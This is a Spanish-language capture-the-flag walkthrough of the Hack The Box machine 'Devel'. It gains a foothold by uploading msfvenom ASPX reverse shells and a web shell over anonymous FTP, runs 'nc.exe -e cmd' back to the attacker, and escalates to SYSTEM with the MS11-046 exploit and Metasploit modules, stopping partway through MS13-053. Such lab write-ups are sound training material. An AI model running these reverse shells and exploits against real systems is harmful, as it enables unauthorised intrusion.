Devel - Hack The Box

Una máquina bastante sencilla, en la cual usaremos el servicio FTP para cargar un Payload que contendrá una Reverse Shell que se activará en el servicio HTTP que corre el servicio IIS y después escalaremos privilegios usando el Exploit MS11-046.

Herramientas utilizadas:

  • ping
  • nmap
  • ftp
  • wappalizer
  • msfvenom
  • aspx_cmd.aspx
  • nc
  • rlwrap
  • i686-w64-mingw32-gcc
  • impacket
  • smbserver.py
  • metasploit framework(msfconsole)
  • Módulo: exploit/multi/handler
  • Módulo: post/multi/recon/local_exploit_suggester
  • Módulo: exploit/windows/local/ms13_053_schlamperei
  • meterpreter
  • nc.exe






Recopilación de Información


Traza ICMP

Vamos a realizar un ping para saber si la máquina está conectada, además vamos a analizar el TTL para saber que SO usa dicha máquina.

ping -c 4 10.10.10.5
PING 10.10.10.5 (10.10.10.5) 56(84) bytes of data.
64 bytes from 10.10.10.5: icmp_seq=1 ttl=127 time=132 ms
64 bytes from 10.10.10.5: icmp_seq=2 ttl=127 time=132 ms
64 bytes from 10.10.10.5: icmp_seq=3 ttl=127 time=131 ms
64 bytes from 10.10.10.5: icmp_seq=4 ttl=127 time=131 ms

--- 10.10.10.5 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3015ms
rtt min/avg/max/mdev = 130.729/131.531/132.293/0.750 ms

Ok, vemos que la máquina usa Windows. Es momento de hacer los escaneos de puertos y servicios.

Escaneo de Puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.5 -oG allPorts             
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-14 13:01 CST
Initiating SYN Stealth Scan at 13:01
Scanning 10.10.10.5 [65535 ports]
Discovered open port 21/tcp on 10.10.10.5
Discovered open port 80/tcp on 10.10.10.5
Increasing send delay for 10.10.10.5 from 0 to 5 due to 11 out of 19 dropped probes since last increase.
Completed SYN Stealth Scan at 13:02, 30.37s elapsed (65535 total ports)
Nmap scan report for 10.10.10.5
Host is up, received user-set (0.73s latency).
Scanned at 2023-02-14 13:01:55 CST for 30s
Not shown: 65533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
21/tcp open  ftp     syn-ack ttl 127
80/tcp open  http    syn-ack ttl 127

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 30.54 seconds
           Raw packets sent: 131087 (5.768MB) | Rcvd: 30 (1.304KB)
Parámetros Descripción
-p- Para indicarle un escaneo en ciertos puertos.
–open Para indicar que aplique el escaneo en los puertos abiertos.
-sS Para indicar un TCP Syn Port Scan para que nos agilice el escaneo.
–min-rate Para indicar una cantidad de envió de paquetes de datos no menor a la que indiquemos (en nuestro caso pedimos 5000).
-vvv Para indicar un triple verbose, un verbose nos muestra lo que vaya obteniendo el escaneo.
-n Para indicar que no se aplique resolución dns para agilizar el escaneo.
-Pn Para indicar que se omita el descubrimiento de hosts.
-oG Para indicar que el output se guarde en un fichero grepeable. Lo nombre allPorts.

Al parecer solamente hay 2 puertos abiertos, el puerto 21 que es el servicio FTP y el puerto 80 que es HTTP, ósea una página web. Hagamos el escaneo de servicios.

Escaneo de Servicios

nmap -sC -sV -p21,80 10.10.10.5 -oN targeted                                                   
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-14 13:02 CST
Nmap scan report for 10.10.10.5
Host is up (0.13s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17  02:06AM       <DIR>          aspnet_client
| 03-17-17  05:37PM                  689 iisstart.htm
|_03-17-17  05:37PM               184946 welcome.png
80/tcp open  http    Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
|_http-title: IIS7
| http-methods: 
|_  Potentially risky methods: TRACE
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.80 seconds
Parámetros Descripción
-sC Para indicar un lanzamiento de scripts básicos de reconocimiento.
-sV Para identificar los servicios/versión que están activos en los puertos que se analicen.
-p Para indicar puertos específicos.
-oN Para indicar que el output se guarde en un fichero. Lo llame targeted.

Vemos que en el servicio FTP tenemos activado el login como anonymous, vamos a meternos para ver que podemos encontrar y después analizaremos la página web.




Análisis de Vulnerabilidades


Enumeración Servicio FTP

ftp 10.10.10.5  
Connected to 10.10.10.5.
220 Microsoft FTP Service
Name (10.10.10.5:berserkwings): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||49158|)
125 Data connection already open; Transfer starting.
03-18-17  02:06AM       <DIR>          aspnet_client
03-17-17  05:37PM                  689 iisstart.htm
03-17-17  05:37PM               184946 welcome.png
226 Transfer complete.

Pues no hay mucho que podamos usar, pero de acuerdo a lo que esta almacenado en el servicio FTP, nos damos cuenta que se esta almacenando la aplicación web ASP.NET, esto porque vemos el directorio aspnet_client, que debe estar ejecutando dicha aplicación. Además, podemos ver un archvio .htm y un PNG, que supongo pertenecen a la página web.

Veamos que hay dentro del directorio aspnet_client:

ftp> cd aspnet_client
250 CWD command successful.
ftp> ls
229 Entering Extended Passive Mode (|||49159|)
125 Data connection already open; Transfer starting.
03-18-17  02:06AM       <DIR>          system_web
226 Transfer complete.
ftp> cd system_web
250 CWD command successful.
ftp> ls
229 Entering Extended Passive Mode (|||49160|)
125 Data connection already open; Transfer starting.
03-18-17  02:06AM       <DIR>          2_0_50727
226 Transfer complete.
ftp> cd 2_0_50727
250 CWD command successful.
ftp> ls
229 Entering Extended Passive Mode (|||49162|)
125 Data connection already open; Transfer starting.
226 Transfer complete.
ftp> cd ..
250 CWD command successful.
ftp> cd ../..
250 CWD command successful.
ftp> ls
229 Entering Extended Passive Mode (|||49163|)
150 Opening ASCII mode data connection.
03-18-17  02:06AM       <DIR>          aspnet_client
03-17-17  05:37PM                  689 iisstart.htm
03-17-17  05:37PM               184946 welcome.png
226 Transfer complete.
ftp> exit
221 Goodbye.

No hay nada de interés o que nos pueda servir, pero si comprobamos que aca se ejecuta la página web.

Antes de irnos a analizar la página web, intentemos ver si podemos subir archivos.

Realizando Pruebas en Servicio FTP

Creamos un archivo random en nuestra máquina:

whoami > test.txt

Y lo intentamos subir al servicio FTP:

ftp 10.10.10.5
Connected to 10.10.10.5.
220 Microsoft FTP Service
Name (10.10.10.5:berserkwings): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> put test.txt
local: test.txt remote: test.txt
229 Entering Extended Passive Mode (|||49164|)
125 Data connection already open; Transfer starting.
100% |************************************************************************************************|     6       53.75 KiB/s    --:-- ETA
226 Transfer complete.
6 bytes sent in 00:00 (0.04 KiB/s)
ftp> ls
229 Entering Extended Passive Mode (|||49165|)
125 Data connection already open; Transfer starting.
03-18-17  02:06AM       <DIR>          aspnet_client
03-17-17  05:37PM                  689 iisstart.htm
03-28-23  10:12PM                    6 test.txt
03-17-17  05:37PM               184946 welcome.png
226 Transfer complete.

Observa que podemos subir archivos, esto puede ser bastante vulnerable para la máquina víctima y de provecho para nosotros. Antes de continuar, analicemos la página web para ver que encontramos.

Analizando Servicio HTTP

Al entrar en la página, no hay nada, más que una imagen del servicio que está corriendo y si le damos clic a la imagen nos mandara directo a la página de Microsoft acerca del servicio IIS.

Que nos dice el Wappalizer:

No hay mucho que destacar y aplicar un Fuzzing no creo que sea útil.

Esto me indica que la jugada será por el servicio FTP para empezar. Recuerda que subimos un archivo random al servicio FTP, vamos a probar si es posible acceder a este desde la página web.

Intentemos ver si se puede ejecutar:

Excelente, funciona. Así que, podemos probar a subir un Payload de msfvenom que sea una Reverse Shell para que nos conecte directamentea a la máquina víctima, pero ¿qué archivos son los que lee este servicio ASP.NET? Porque no servirá de nada, si subimos el Payload y no es posible ejecutarlo.

Hay que investigar un poco sobre el servicio IIS.

Investigando Servicio IIS

Servicio IIS
Internet Information Services o IIS, es un servidor web y un conjunto de servicios para el sistema operativo Microsoft Windows. Fue integrado en otros sistemas operativos de Microsoft destinados a ofrecer servicios, como Windows 2000 o Windows Server 2003, 2016 y 2019. Windows XP Profesional incluye una versión limitada de IIS. Los servicios que ofrece son: FTP, SMTP, NNTP y HTTP/HTTPS. Este servicio convierte a un PC en un servidor web para Internet o una intranet, es decir que en los ordenadores que tienen este servicio instalado se pueden publicar páginas web tanto local como remotamente.


De acuerdo con el siguiente link de la página HackTricks:

El servicio IIS puede ejecutar las siguientes extensiones:

  • asp
  • aspx
  • config
  • php

De momento vamos a descartar la de PHP y el de config porque no creo que nos sirvan para cargar el Payload, así que vamos a investigar la extensión ASP y ASPX:

Extensión ASP
Active Server Pages, ​también conocido como ASP clásico, es una tecnología de Microsoft del lado del servidor para páginas web generadas dinámicamente, que ha sido comercializada como un anexo a Internet Information Services (IIS).


Extensión ASPX
La extensión de archivo ASPX se utiliza para páginas web que son generadas automáticamente por el servidor y dirigen directamente a un servidor activo.


Entonces, la extensión ASP podría decirse que es la página web y la extensión ASPX es un archivo ejecutable, con esta extensión vamos a crear nuestra Reverse Shell.




Explotación de Vulnerabilidades


Ganando Acceso a la Máquina Víctima con Reverse Shell y Archivo cmd.aspx de Kali

Para este caso, tenemos dos opciones, la primera es crear nuestra Reverse Shell con Msfvenom o la otra es ocupar un recurso con el que cuenta Kali que nos da una CMD que podemos usar, desde la página web. Vamos a ocupar ambos, pero empezamos creando nuestra propia Reverse Shell.


Configurando el Payload de Reverse Shell con Msfvenom

Vamos a empezar configurando un Payload con Msfvenom para que nos conecte a la máquina víctima, una vez sea ejecutado:

msfvenom -p windows/shell_reverse_tcp -f aspx LHOST=Tu_IP LPORT=443 -o IIS_Shell.aspx  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of aspx file: 2737 bytes
Saved as: IIS_Shell.aspx

Así de simple es crearla.

Ahora entramos al servicio FTP, subimos el archivo .aspx y comprobamos que este dentro:

ftp 10.10.10.5
Connected to 10.10.10.5.
220 Microsoft FTP Service
Name (10.10.10.5:berserkwings): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> put IIS_Shell.aspx 
local: IIS_Shell.aspx remote: IIS_Shell.aspx
229 Entering Extended Passive Mode (|||49166|)
150 Opening ASCII mode data connection.
100% |************************************************************************************************|  2775       39.49 MiB/s    --:-- ETA
226 Transfer complete.
2775 bytes sent in 00:00 (20.57 KiB/s)
ftp> ls
229 Entering Extended Passive Mode (|||49167|)
125 Data connection already open; Transfer starting.
03-18-17  02:06AM       <DIR>          aspnet_client
03-17-17  05:37PM                  689 iisstart.htm
03-28-23  11:08PM                 2775 IIS_Shell.aspx
03-28-23  10:12PM                    6 test.txt
03-17-17  05:37PM               184946 welcome.png
226 Transfer complete.
ftp> exit
221 Goodbye.

Muy bien, ya está dentro.

Ahora, simplemtene activamos una netcat:

nc -nvlp 443                                    
listening on [any] 443 ...

Y, por último, ejecutamos la Reverse Shell desde la página web:

Listo, estamos dentro:

nc -nvlp 443                                    
listening on [any] 443 ...
connect to [Tu_IP] from (UNKNOWN) [10.10.10.5] 49168
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

c:\windows\system32\inetsrv>whoami
whoami
iis apppool\web

Muy bien, ahora probemos con el archivo preconfigurado ASPX de Kali que nos da una CMD en la página web.


Utilizando una cmd.aspx de Kali

Resulta que, si requieres un archivo .aspx que contenga un Payload que devuelva una CMD en la web, existen dentro del Kali Linux, similar a la nc.exe que usamos en la máquina Legacy. También vamos a usar la nc.exe, así que descargala.

Para buscarlo solo usamos el comando locate de la siguiente manera:

locate .aspx
/usr/share/davtest/backdoors/aspx_cmd.aspx
/usr/share/laudanum/aspx/shell.aspx
/usr/share/metasploit-framework/data/templates/scripts/to_exe.aspx.template
/usr/share/metasploit-framework/data/templates/scripts/to_mem.aspx.template
/usr/share/seclists/Web-Shells/FuzzDB/cmd.aspx
/usr/share/seclists/Web-Shells/laudanum-0.8/aspx/dns.aspx
/usr/share/seclists/Web-Shells/laudanum-0.8/aspx/file.aspx
/usr/share/seclists/Web-Shells/laudanum-0.8/aspx/shell.aspx
/usr/share/sqlmap/data/shell/backdoors/backdoor.aspx_
/usr/share/sqlmap/data/shell/stagers/stager.aspx_
/usr/share/webshells/aspx/cmdasp.aspx

Como puedes ver hay varias opciones, pero hay 2 en particular que nos pueden servir:

  • aspx_cmd.aspx
  • shell.aspx

Vamos a usar el aspx_cmd.aspx para que nos muestre una CMD en la página web. Así que vamos a probar el aspx_cmd.aspx.

Vamos a copiarlo en el directorio que estamos ocupando para esta máquina:

cp /usr/share/laudanum/aspx/shell.aspx .
ls          
aspx_cmd.aspx  IIS_Shell.aspx  shell.aspx  test.txt

Ahora lo subimos al servicio FTP:

ftp 10.10.10.5
Connected to 10.10.10.5.
220 Microsoft FTP Service
Name (10.10.10.5:berserkwings): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> put aspx_cmd.aspx 
local: aspx_cmd.aspx remote: aspx_cmd.aspx
229 Entering Extended Passive Mode (|||49169|)
150 Opening ASCII mode data connection.
100% |************************************************************************************************|  1438       29.17 MiB/s    --:-- ETA
226 Transfer complete.
1438 bytes sent in 00:00 (10.55 KiB/s)
ftp> exit
221 Goodbye.

Y listo, lo ejecutamos en la página web y deberíamos poder ver una CMD.

Bien, por último, vamos a obtener acceso mandando una sesión desde la CMD de la página web hacia nuestra máquina, utilizando una netcat ejecutable, osea el nc.exe.

Levanta una netcat:

rlwrap nc -nvlp 443                                    
listening on [any] 443 ...

Carga la nc.exe en la máquina víctima en el servicio FTP:

ftp 10.10.10.5
Connected to 10.10.10.5.
220 Microsoft FTP Service
Name (10.10.10.5:berserkwings): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> put nc.exe
...

En la CMD de la página web, usa el siguiente comando:

C:\inetpub\wwwroot\nc.exe -e cmd Tu_IP 443

Normalmente, el directorio inetpub es el que contiene al servicio FTP.

Y listo, ya estamos conectados a la máquina víctima:

rlwrap nc -nvlp 443                                    
listening on [any] 443 ...
connect to [Tu_IP] from (UNKNOWN) [10.10.10.5] 49168
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

c:\windows\system32\inetsrv>whoami
whoami
iis apppool\web




Post Explotación


Enumeración de Máquina Víctima

Una vez más dentro de la máquina, vamos a buscar la flag del usuario:

c:\windows\system32\inetsrv>cd C:\
cd C:\

C:\>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 137F-3971

 Directory of C:\

11/06/2009  12:42 ��                24 autoexec.bat
11/06/2009  12:42 ��                10 config.sys
17/03/2017  07:33 ��    <DIR>          inetpub
14/07/2009  05:37 ��    <DIR>          PerfLogs
13/12/2020  01:59 ��    <DIR>          Program Files
18/03/2017  02:16 ��    <DIR>          Users
11/02/2022  05:03 ��    <DIR>          Windows
               2 File(s)             34 bytes
               5 Dir(s)   4.677.365.760 bytes free

Recuerda siempre ir a la carpeta usuarios y puede estar en la de Public o en el nombre de algún usuario:

C:\>cd Users
cd Users

C:\Users>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 137F-3971

 Directory of C:\Users

18/03/2017  02:16 ��    <DIR>          .
18/03/2017  02:16 ��    <DIR>          ..
18/03/2017  02:16 ��    <DIR>          Administrator
17/03/2017  05:17 ��    <DIR>          babis
18/03/2017  02:06 ��    <DIR>          Classic .NET AppPool
14/07/2009  10:20 ��    <DIR>          Public
               0 File(s)              0 bytes
               6 Dir(s)   4.677.365.760 bytes free

C:\Users>cd babis
cd babis
Access is denied.

No se puede, bueno vamos a ver en la de Public:

C:\Users>cd Public
cd Public

C:\Users\Public>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 137F-3971

 Directory of C:\Users\Public

14/07/2009  10:20 ��    <DIR>          .
14/07/2009  10:20 ��    <DIR>          ..
14/07/2009  07:53 ��    <DIR>          Documents
14/07/2009  07:41 ��    <DIR>          Downloads
14/07/2009  07:41 ��    <DIR>          Music
14/07/2009  07:41 ��    <DIR>          Pictures
14/07/2009  10:20 ��    <DIR>          Recorded TV
14/07/2009  07:41 ��    <DIR>          Videos
               0 File(s)              0 bytes
               8 Dir(s)   4.677.365.760 bytes free

No pues no, no hay nada, entonces hay que entrar como Root para que podamos ver las flags. Vamos a buscar que podemos usar para acceder a la máquina como Root.

C:\Users>cd ..
cd ..

C:\>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 137F-3971

 Directory of C:\

11/06/2009  12:42 ��                24 autoexec.bat
11/06/2009  12:42 ��                10 config.sys
17/03/2017  07:33 ��    <DIR>          inetpub
14/07/2009  05:37 ��    <DIR>          PerfLogs
13/12/2020  01:59 ��    <DIR>          Program Files
18/03/2017  02:16 ��    <DIR>          Users
11/02/2022  05:03 ��    <DIR>          Windows
               2 File(s)             34 bytes
               5 Dir(s)   4.677.365.760 bytes free

C:\>cd Program Files
cd Program Files

C:\Program Files>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 137F-3971

 Directory of C:\Program Files

13/12/2020  01:59 ��    <DIR>          .
13/12/2020  01:59 ��    <DIR>          ..
28/12/2017  02:49 ��    <DIR>          Common Files
14/07/2009  10:20 ��    <DIR>          DVD Maker
14/07/2009  07:56 ��    <DIR>          Internet Explorer
14/07/2009  07:52 ��    <DIR>          MSBuild
14/07/2009  07:52 ��    <DIR>          Reference Assemblies
13/12/2020  01:59 ��    <DIR>          VMware
14/07/2009  07:56 ��    <DIR>          Windows Defender
14/07/2009  10:20 ��    <DIR>          Windows Journal
14/07/2009  07:56 ��    <DIR>          Windows Mail
14/07/2009  07:56 ��    <DIR>          Windows Media Player
14/07/2009  07:52 ��    <DIR>          Windows NT
14/07/2009  07:56 ��    <DIR>          Windows Photo Viewer
14/07/2009  07:52 ��    <DIR>          Windows Portable Devices
14/07/2009  07:56 ��    <DIR>          Windows Sidebar
               0 File(s)              0 bytes
              16 Dir(s)   4.677.365.760 bytes free

No veo nada que conozca que sea vulnerable.

Entonces, veamos con que privilegios gozamos para darnos una idea de que hacer y veamos la versión del sistema operativo que usa la máquina:

C:\>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeShutdownPrivilege           Shut down the system                      Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeUndockPrivilege             Remove computer from docking station      Disabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
SeTimeZonePrivilege           Change the time zone                      Disabled

C:\>systeminfo
systeminfo

Host Name:                 DEVEL
OS Name:                   Microsoft Windows 7 Enterprise 
OS Version:                6.1.7600 N/A Build 7600
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          babis

Ok, tenemos el privilegio SeImpersonatePrivilege y vemos que el SO es WIndows 7 6.1.7600, además de que el dueño es babis. Desde aquí, nos surgen al menos 2 formas de poder escalar privilegios, la primera usando un Exploit para la versión del Windows, la segunda utilizando Juicy o Rotten Potato para abusar del privilegio SeImpersonatePrivilege (esta opción queda para que la pruebes).

Vamos a usar ambas y luego investigaremos como ganar acceso con Metasploit Framework. Pero, primero vamos a hacerlo con la primera opción y las demás, las dejamos para la sección Otras Formas.

Buscando, Configurando y Activando un Exploit para Windows 7

Buscando por internet, nos aparece uno en particular que es el MS11-046 que es un Local Privilege Escalation y que justamente nos serviría en estos momentos.

Puedes verlo en el siguiente link:

Vamos a buscarlo con la herramienta Searchsploit:

searchsploit MS11-046                  
----------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                             |  Path
----------------------------------------------------------------------------------------------------------- ---------------------------------
Microsoft Windows (x86) - 'afd.sys' Local Privilege Escalation (MS11-046)                                  | windows_x86/local/40564.c
Microsoft Windows - 'afd.sys' Local Kernel (PoC) (MS11-046)                                                | windows/dos/18755.c
----------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
----------------------------------------------------------------------------------------------------------- ---------------------------------
 Paper Title                                                                                               |  Path
----------------------------------------------------------------------------------------------------------- ---------------------------------
MS11-046 - Dissecting a 0day                                                                               | docs/english/18712-ms11-046---di
----------------------------------------------------------------------------------------------------------- ---------------------------------

Justamente lo tenemos, vamos a copiarlo y a analizarlo para saber cómo usarlo.


Probando Exploit: Microsoft Windows (x86) - 'afd.sys' Local Privilege Escalation (MS11-046)

Gracias al creador del Exploit, nos deja una pequeña explicación para convertir el Exploit en un ejecutable .exe:

Exploit notes:
   Privileged shell execution:
     - the SYSTEM shell will spawn within the invoking shell/process
   Exploit compiling (Kali GNU/Linux Rolling 64-bit):
     - # i686-w64-mingw32-gcc MS11-046.c -o MS11-046.exe -lws2_32
   Exploit prerequisites:
     - low privilege access to the target OS
     - target OS not patched (KB2503665, or any other related
       patch, if applicable, not installed - check "Related security
       vulnerabilities/patches")
   Exploit test notes:
     - let the target OS boot properly (if applicable)
     - Windows 7 (SP0 and SP1) will BSOD on shutdown/reset

OJO: aquí la importancia de leer los Exploits para saber cómo funcionan o si es necesario configurarlos.

Entonces vamos a usar la herramienta i686-w64-mingw32-gcc, si estas usando Kali Linux ya la deberías tener instalada, sin embargo, aquí está el link del cómo pueden instalar dicha herramienta:

Vamos a convertir ese Exploit a un ejecutable .exe, recuerda que el Exploit se descargó con el nombre 40564.c:

i686-w64-mingw32-gcc 40564.c -o MS11-046.exe -lws2_32
ls
40564.c  aspx_cmd.aspx  IIS_Shell.aspx  MS11-046.exe  nc.exe  shell.aspx  test.txt

Ahora que lo tenemos, ya podemos subirlo a la máquina.

Vamos a abrir un servidor con Impacket para poder subirlo. Hagamoslo por pasos:

  • Abriendo servidor SMB con impacket:
    smbserver.py smbFolder $(pwd)
    Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
    [*] Config file parsed
    [*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
    [*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
    [*] Config file parsed
    [*] Config file parsed
    [*] Config file parsed
    
  • Para subir el Exploit debemos ir al directorio Temp:
    C:\Windows>cd /Windows/Temp
    cd /Windows/Temp
    C:\Windows\Temp>
    
  • Crearemos un directorio para guardarlo ahí:
    C:\Windows\Temp>mkdir AquiNoHayNingunExploit
    mkdir AquiNoHayNingunExploit
    C:\Windows\Temp>cd AquiNoHayNingunExploit
    cd AquiNoHayNingunExploit
    
  • Copiamos el Exploit:
    C:\Windows\Temp\AquiNoHayNingunExploit>copy \\Tu_IP\smbFolder\MS11-046.exe MS11-046.exe                                            
    copy \\10.10.14.12\smbFolder\MS11-046.exe MS11-046.exe
          1 file(s) copied
    
  • Lo activamos:
    C:\Windows\Temp\AquiNoHayNingunExploit>.\MS11-046.exe
    .\MS11-046.exe
    c:\Windows\System32>whoami
    whoami
    nt authority\system
    

Buscamos las flags y listo, con esto ya tenemos las flags de la máquina.

Ganando Acceso y Escalando Privilegios con Metasploit

Para este caso, vamos a ocupar la misma Reverse Shell que ya creamos, pero vamos a modificarla un poco porque vamos utilizar el Metasploit Framework para obtener una sesión de meterpreter y luego ahí, vamos a escalar privilegios.

  • Crea la Reverse Shell para usar en meterpreter:
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=Tu_IP LPORT=4242 -f aspx -o shell.aspx
    [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
    [-] No arch selected, selecting arch: x86 from the payload
    No encoder specified, outputting raw payload
    Payload size: 354 bytes
    Final size of aspx file: 2843 bytes
    Saved as: shell.aspx
    
  • Carga la Reverse Shell en el servicio FTP:
    ftp 10.10.10.5
    Connected to 10.10.10.5.
    220 Microsoft FTP Service
    Name (10.10.10.5:berserkwings): anonymous
    331 Anonymous access allowed, send identity (e-mail name) as password.
    Password: 
    230 User logged in.
    Remote system type is Windows_NT.
    ftp> put shell.aspx
    local: shell.aspx remote: shell.aspx
    229 Entering Extended Passive Mode (|||49158|)
    125 Data connection already open; Transfer starting.
    100% |**********************************************************************************************************************************************************************************************|  2883       52.87 MiB/s    --:-- ETA
    226 Transfer complete.
    2883 bytes sent in 00:00 (40.69 KiB/s)
    ftp> dir
    229 Entering Extended Passive Mode (|||49159|)
    125 Data connection already open; Transfer starting.
    03-18-17  02:06AM       <DIR>          aspnet_client
    03-17-17  05:37PM                  689 iisstart.htm
    03-31-24  08:02AM                 2883 shell.aspx
    03-17-17  05:37PM               184946 welcome.png
    226 Transfer complete.
    ftp> exit
    221 Goodbye.
    
  • Entra en el Metasploit Framework, configura el modulo multi/handler para obtener una sesión en meterpreter y ejecuta el Payload cargado en la página web:
    msfconsole
    .
    msf6 > use exploit/multi/handler
    [*] Using configured payload generic/shell_reverse_tcp
    .
    msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
    payload => windows/meterpreter/reverse_tcp
    msf6 exploit(multi/handler) > set LHOST Tu_IP
    LHOST => Tu_IP
    msf6 exploit(multi/handler) > set LPORT 4242
    LPORT => 4242
    msf6 exploit(multi/handler) > exploit
    .
    [*] Started reverse TCP handler on Tu_IP:4242 
    [*] Sending stage (175686 bytes) to 10.10.10.5
    [*] Meterpreter session 1 opened (Tu_IP:4242 -> 10.10.10.5:49160)
    .
    meterpreter >
    


Usando Módulo de Metasploit para Encontrar Vulnerabilidades dentro de la Máquina Víctima

Excelente, para este caso, vamos a usar un módulo que nos dara los Exploits a los que es posible que sea vulnerable la máquina víctima:

msf6 exploit(multi/handler) > search suggester

Matching Modules
================

   #  Name                                      Disclosure Date  Rank    Check  Description
   -  ----                                      ---------------  ----    -----  -----------
   0  post/multi/recon/local_exploit_suggester                   normal  No     Multi Recon Local Exploit Suggester

msf6 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) >

Cargamos la sesión que tenemos activa y ejecutamos el módulo:

msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1
SESSION => 1
msf6 post(multi/recon/local_exploit_suggester) > exploit

[*] 10.10.10.5 - Collecting local exploits for x86/windows...
[*] 10.10.10.5 - 181 exploit checks are being tried...
[+] 10.10.10.5 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms10_015_kitrap0d: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms10_092_schelevator: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms15_004_tswbproxy: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms16_016_webdav: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ntusermndragover: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
[*] Running check method for exploit 41 / 41
[*] 10.10.10.5 - Valid modules for session 1:
============================

 #   Name                                                           Potentially Vulnerable?  Check Result
 -   ----                                                           -----------------------  ------------
 1   exploit/windows/local/bypassuac_eventvwr                       Yes                      The target appears to be vulnerable.
 2   exploit/windows/local/ms10_015_kitrap0d                        Yes                      The service is running, but could not be validated.
 3   exploit/windows/local/ms10_092_schelevator                     Yes                      The service is running, but could not be validated.
 4   exploit/windows/local/ms13_053_schlamperei                     Yes                      The target appears to be vulnerable.
 5   exploit/windows/local/ms13_081_track_popup_menu                Yes                      The target appears to be vulnerable.
 6   exploit/windows/local/ms14_058_track_popup_menu                Yes                      The target appears to be vulnerable.
 7   exploit/windows/local/ms15_004_tswbproxy                       Yes                      The service is running, but could not be validated.
 8   exploit/windows/local/ms15_051_client_copy_image               Yes                      The target appears to be vulnerable.
 9   exploit/windows/local/ms16_016_webdav                          Yes                      The service is running, but could not be validated.
 10  exploit/windows/local/ms16_032_secondary_logon_handle_privesc  Yes                      The service is running, but could not be validated.
 11  exploit/windows/local/ms16_075_reflection                      Yes                      The target appears to be vulnerable.
 12  exploit/windows/local/ntusermndragover                         Yes                      The target appears to be vulnerable.
 13  exploit/windows/local/ppr_flatten_rec                          Yes                      The target appears to be vulnerable.

Obviamente no podemos usar todos los Exploits, debemos investigar cada uno para saber cual es el indicado para usar. Después de investigar, nos puede servir el Exploit ms13_053_schlamperei, así que vamos a usarlo.


Usando Exploit MS13-053 schlamperei

  • Cargamos el módulo:
